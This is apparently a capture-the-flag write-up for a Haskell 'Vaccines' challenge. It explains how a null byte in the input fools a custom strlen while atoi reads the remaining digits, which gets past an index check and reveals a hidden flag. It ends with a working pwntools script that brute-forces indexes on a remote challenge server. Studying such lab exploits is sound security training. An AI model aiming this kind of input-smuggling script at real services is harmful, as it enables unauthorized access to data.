Vaccines [Pwn]
Pwning faulty implementation of strlen
and atoi
functions in Haskell.
Going through the program
If you don’t know how to read Haskell, don’t worry, I don’t too…
The whole code was quite readable, and we quickly see where the flag is at.
Line 47:
let vaccines = [Vaccine x "some random Vaccine" "03/04/2020" | x <- [0..num]] ++ [Vaccine (num+1) flag "03/04/2020"]
num
is a random value from 10 to 100 (exclusive), and our flag is at index num
.
Looking at the code, this is just another program with menu functions
- View vaccine: Give Vaccine ID (index), and it will print out the vacine ID, description, date.
- Edit vaccine: Give Vaccine ID (index), and you can input a new description and date for that vaccine.
- Exit: … no explanations needed.
So we just read the vaccine at that index? WRONG
What do you want to do?
1. View Vaccine
2. Edit Vaccine
3. Exit
1
Enter Vaccine ID:
10
Invalid Vaccine ID
There is an error upon inputting any index >= 10. We see the culprit of this annoying error:
putStrLn "Enter Vaccine ID: "
input <- getLine
if (strlen input == 1 && input !! 0 /= '0') then do
let id = atoi input
if (id >= 0 && id < Prelude.length vaccines) then do
printVaccine $ vaccines !! id
loop
There are two conditions that our input must satisfy:
strlen input == 1
: The length of the string is 1input !! 0 /= '0'
: The index 0 character is not ‘0’
One last thing before we go to the solution: our input is passed into atoi
to convert it from string to integer, before using it as the index to vaccines
.
Solution
We see that condition 2 is already satisfied by our inputs, so we look at condition 1.
strlen :: String -> Int
strlen input = Prelude.length $ Prelude.takeWhile (/= '\0') input
We see that strlen
takes a String
and returns an Int
, and it just takes and counts the characters until a \0
(null byte) is met, which is what we’re used to with C strings. But wait…
Which means that, an input of 1\0XXXX...
will be regarded as length 1 even though it really isn’t.
atoi :: String -> Int
atoi input = do
let input' = Prelude.filter (\x -> x >= '0' && x <= '9') input
Prelude.read input' :: Int
Looking at atoi
, we see that it just filters out for characters that are 0-9
. So, if we input 1\00
, it will be regarded as having length 1, and has value of integer 10. Similarly, 4\09
is 49 etc.
So, we just write a script to run through the index 10 to 100, and stop when we get the flag.
Final Script
from pwn import *
DEBUG = False
conn = process("./src") if DEBUG else remote("54.158.139.58", 1237)
def select(ind):
conn.recvuntil(b"Exit")
conn.recvline()
if type(ind) == str:
ind = ind.encode()
conn.sendline(ind)
def chooseID(ind):
conn.recvuntil(b"ID:")
conn.recvline()
if type(ind) == str:
ind = ind.encode()
conn.sendline(ind)
for i in range(10, 100):
select("1")
tens = str(i)[0].encode()
ones = str(i)[1].encode()
chooseID(tens + b"\x00" + ones)
if b"Invalid" in conn.recvline():
break
conn.recvuntil(b": ")
print(conn.recvline(keepends=False))